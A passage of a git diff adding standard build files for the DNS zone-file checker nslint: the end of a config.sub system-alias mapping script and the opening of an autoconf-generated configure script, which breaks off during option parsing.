$basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -netbsd* | -openbsd* | -kfreebsd* | -freebsd* | -riscix* \ + | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -chorusos* | -chorusrdb* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ + | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ + | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ + | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ + | -powermax* | -dnix* | -nx6 | -nx7 | -sei*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i*86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto-qnx*) + ;; + -nto*) + os=`echo $os | sed -e 's|nto|nto-qnx|'` + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -atheos*) + os=-atheos + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -nova*) + os=-rtmk-nova + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk*) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + os=-mint + ;; + -aros*) + os=-aros + ;; + -kaos*) + os=-kaos + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + c4x-* | tic4x-*) + os=-coff + ;; + # This must come before the *-dec entry. + pdp10-*) + os=-tops20 + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + or32-*) + os=-coff + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-ibm) + os=-aix + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f30[01]-fujitsu | f700-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -vxsim* | -vxworks* | -windiss*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + vendor=atari + ;; + -vos*) + vendor=stratus + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit 0 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/dns-projects/nslint-2.1a8/configure b/dns-projects/nslint-2.1a8/configure new file mode 100755 index 0000000..f6e4040 --- /dev/null +++ b/dns-projects/nslint-2.1a8/configure @@ -0,0 +1,5385 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.61. +# +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +# 2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +as_nl=' +' +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + +if test "x$CONFIG_SHELL" = x; then + if (eval ":") 2>/dev/null; then + as_have_required=yes +else + as_have_required=no +fi + + if test $as_have_required = yes && (eval ": +(as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=\$LINENO + as_lineno_2=\$LINENO + test \"x\$as_lineno_1\" != \"x\$as_lineno_2\" && + test \"x\`expr \$as_lineno_1 + 1\`\" = \"x\$as_lineno_2\") || { (exit 1); exit 1; } +") 2> /dev/null; then + : +else + as_candidate_shells= + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + case $as_dir in + /*) + for as_base in sh bash ksh sh5; do + as_candidate_shells="$as_candidate_shells $as_dir/$as_base" + done;; + esac +done +IFS=$as_save_IFS + + + for as_shell in $as_candidate_shells $SHELL; do + # Try only shells that exist, to save several forks. + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + { ("$as_shell") 2> /dev/null <<\_ASEOF +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + +: +_ASEOF +}; then + CONFIG_SHELL=$as_shell + as_have_required=yes + if { "$as_shell" 2> /dev/null <<\_ASEOF +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + +: +(as_func_return () { + (exit $1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = "$1" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test $exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2") || { (exit 1); exit 1; } + +_ASEOF +}; then + break +fi + +fi + + done + + if test "x$CONFIG_SHELL" != x; then + for as_var in BASH_ENV ENV + do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + done + export CONFIG_SHELL + exec "$CONFIG_SHELL" "$as_myself" ${1+"$@"} +fi + + + if test $as_have_required = no; then + echo This script requires a shell more modern than all the + echo shells that I found on your system. Please install a + echo modern shell, or manually run the script under such a + echo shell if you do have one. + { (exit 1); exit 1; } +fi + + +fi + +fi + + + +(eval "as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0") || { + echo No shell found that supports shell functions. + echo Please tell autoconf@gnu.org about your system, + echo including any error possibly output before this + echo message +} + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir +fi +echo >conf$$.file +if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' +elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +if test -x / >/dev/null 2>&1; then + as_test_x='test -x' +else + if ls -dL / >/dev/null 2>&1; then + as_ls_L_option=L + else + as_ls_L_option= + fi + as_test_x=' + eval sh -c '\'' + if test -d "$1"; then + test -d "$1/."; + else + case $1 in + -*)set "./$1";; + esac; + case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in + ???[sx]*):;;*)false;;esac;fi + '\'' sh + ' +fi +as_executable_p=$as_test_x + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + + +exec 7<&0 &1 + +# Name of the host. +# hostname on some systems (SVR3.2, Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_clean_files= +ac_config_libobj_dir=. +LIBOBJS= +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} + +# Identity of this package. +PACKAGE_NAME= +PACKAGE_TARNAME= +PACKAGE_VERSION= +PACKAGE_STRING= +PACKAGE_BUGREPORT= + +ac_unique_file="nslint.c" +# Factoring default headers for most tests. +ac_includes_default="\ +#include +#ifdef HAVE_SYS_TYPES_H +# include +#endif +#ifdef HAVE_SYS_STAT_H +# include +#endif +#ifdef STDC_HEADERS +# include +# include +#else +# ifdef HAVE_STDLIB_H +# include +# endif +#endif +#ifdef HAVE_STRING_H +# if !defined STDC_HEADERS && defined HAVE_MEMORY_H +# include +# endif +# include +#endif +#ifdef HAVE_STRINGS_H +# include +#endif +#ifdef HAVE_INTTYPES_H +# include +#endif +#ifdef HAVE_STDINT_H +# include +#endif +#ifdef HAVE_UNISTD_H +# include +#endif" + +ac_subst_vars='SHELL +PATH_SEPARATOR +PACKAGE_NAME +PACKAGE_TARNAME +PACKAGE_VERSION +PACKAGE_STRING +PACKAGE_BUGREPORT +exec_prefix +prefix +program_transform_name +bindir +sbindir +libexecdir +datarootdir +datadir +sysconfdir +sharedstatedir +localstatedir +includedir +oldincludedir +docdir +infodir +htmldir +dvidir +pdfdir +psdir +libdir +localedir +mandir +DEFS +ECHO_C +ECHO_N +ECHO_T +LIBS +build_alias +host_alias +target_alias +build +build_cpu +build_vendor +build_os +host +host_cpu +host_vendor +host_os +target +target_cpu +target_vendor +target_os +SHLICC2 +CC +CFLAGS +LDFLAGS +CPPFLAGS +ac_ct_CC +EXEEXT +OBJEXT +CPP +GREP +EGREP +LIBOBJS +V_CCOPT +V_INCLS +INSTALL_PROGRAM +INSTALL_SCRIPT +INSTALL_DATA +LTLIBOBJS' +ac_subst_files='' + ac_precious_vars='build_alias +host_alias +target_alias +CC +CFLAGS +LDFLAGS +LIBS +CPPFLAGS +CPP' + + +# Initialize some variables set by options. +ac_init_help= +ac_init_version=false +# The variables have the same names as the options, with +# dashes changed to underlines. +cache_file=/dev/null +exec_prefix=NONE +no_create= +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +verbose= +x_includes=NONE +x_libraries=NONE + +# Installation directory options. +# These are left unexpanded so users can "make install exec_prefix=/foo" +# and all the variables that are supposed to be based on exec_prefix +# by default will actually change. +# Use braces instead of parens because sh, perl, etc. also accept them. +# (The list follows the same order as the GNU Coding Standards.) +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datarootdir='${prefix}/share' +datadir='${datarootdir}' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +includedir='${prefix}/include' +oldincludedir='/usr/include' +docdir='${datarootdir}/doc/${PACKAGE}' +infodir='${datarootdir}/info' +htmldir='${docdir}' +dvidir='${docdir}' +pdfdir='${docdir}' +psdir='${docdir}' +libdir='${exec_prefix}/lib' +localedir='${datarootdir}/locale' +mandir='${datarootdir}/man' + +ac_prev= +ac_dashdash= +for ac_option +do + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval $ac_prev=\$ac_option + ac_prev= + continue + fi + + case $ac_option in + *=*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; + *) ac_optarg=yes ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case $ac_dashdash$ac_option in + --) + ac_dashdash=yes ;; + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir=$ac_optarg ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build_alias ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build_alias=$ac_optarg ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file=$ac_optarg ;; + + --config-cache | -C) + cache_file=config.cache ;; + + -datadir | --datadir | --datadi | --datad) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=*) + datadir=$ac_optarg ;; + + -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ + | --dataroo | --dataro | --datar) + ac_prev=datarootdir ;; + -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ + | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) + datarootdir=$ac_optarg ;; + + -disable-* | --disable-*) + ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_feature" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid feature name: $ac_feature" >&2 + { (exit 1); exit 1; }; } + ac_feature=`echo $ac_feature | sed 's/[-.]/_/g'` + eval enable_$ac_feature=no ;; + + -docdir | --docdir | --docdi | --doc | --do) + ac_prev=docdir ;; + -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) + docdir=$ac_optarg ;; + + -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) + ac_prev=dvidir ;; + -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) + dvidir=$ac_optarg ;; + + -enable-* | --enable-*) + ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_feature" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid feature name: $ac_feature" >&2 + { (exit 1); exit 1; }; } + ac_feature=`echo $ac_feature | sed 's/[-.]/_/g'` + eval enable_$ac_feature=\$ac_optarg ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix=$ac_optarg ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he | -h) + ac_init_help=long ;; + -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) + ac_init_help=recursive ;; + -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) + ac_init_help=short ;; + + -host | --host | --hos | --ho) + ac_prev=host_alias ;; + -host=* | --host=* | --hos=* | --ho=*) + host_alias=$ac_optarg ;; + + -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) + ac_prev=htmldir ;; + -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ + | --ht=*) + htmldir=$ac_optarg ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir=$ac_optarg ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir=$ac_optarg ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir=$ac_optarg ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir=$ac_optarg ;; + + -localedir | --localedir | --localedi | --localed | --locale) + ac_prev=localedir ;; + -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) + localedir=$ac_optarg ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst | --locals) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) + localstatedir=$ac_optarg ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir=$ac_optarg ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c | -n) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | 